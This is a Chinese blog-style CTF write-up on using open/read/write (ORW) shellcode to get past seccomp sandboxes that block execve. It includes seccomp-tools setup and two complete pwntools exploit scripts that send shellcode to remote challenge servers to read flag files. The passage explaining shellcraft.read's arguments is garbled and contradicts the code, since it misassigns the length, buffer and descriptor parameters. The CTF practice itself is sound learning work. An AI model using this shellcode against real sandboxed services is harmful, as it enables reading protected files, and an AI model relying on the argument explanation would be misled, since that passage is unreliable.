在了解ORW之前需要先知道什么是sandbox。这里简单理解就是通过prctl系统调用和seccomp库函数;来定义系统调用白名单和黑名单,这里通常会ban掉system和execve系统调用,来禁止选手getshell,这时就需要ORW来绕过。这里我们只讨论栈上的sandbox。
这里我的理解就是通过利用open,read,write三个系统调用来直接获取远程主机下的flag。
这里还有一个工具seccomp-tools可以直接查看哪些系统调用被ban。
bashsudo apt install gcc ruby-dev sudo gem install seccomp-tools
先检查:
ida查看:
很明显orw_seccomp通过seccomp库函数进行ban系统调用:
这里会发现ban掉了除go to 0011以外的系统调用:
所以这里直接上exp:
pythonfrom pwn import*
io = remote('node4.buuoj.cn',25453)
# io =process('./orw')
payload = asm(shellcraft.i386.linux.open('./flag'))
payload += asm(shellcraft.i386.linux.read('eax','esp',0x100))
payload += asm(shellcraft.i386.linux.write(1,'esp',0x100))
io.sendlineafter(b'shellcode',payload)
io.interactive()
shellcraft.read('eax','esp',100)
中,第一个参数指定了读取的长度,此处为100字节,第二个参数指定了读取后数据存储的位置,此处为栈顶ESP处,第三个参数是存储文件数据的缓冲区地址,而此时需要通过文件描述符获取文件数据,所以使用了EAX寄存器来存储描述符的值,作为第三个参数传给read系统调用。同样的操作:
pythonfrom pwn import*
context(log_level='debug',arch='amd64',os='linux')
io = remote('node1.anna.nssctf.cn',28790)
# io = process('./mymem')
payload = asm(shellcraft.open('/home/ctf/flag.txt')) #这个目录其实我并不清楚怎么知道的,确实是看别人wp才知道的
payload += asm(shellcraft.read('rax',0x50000+0x100,0x30))#注意:这里不能写太多0x100就会报错
payload += asm(shellcraft.write(1,0x50000+0x100,0x100))
io.sendlineafter(b'sandbox',payload)
io.interactive()
本文作者:Hyrink
本文链接:
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!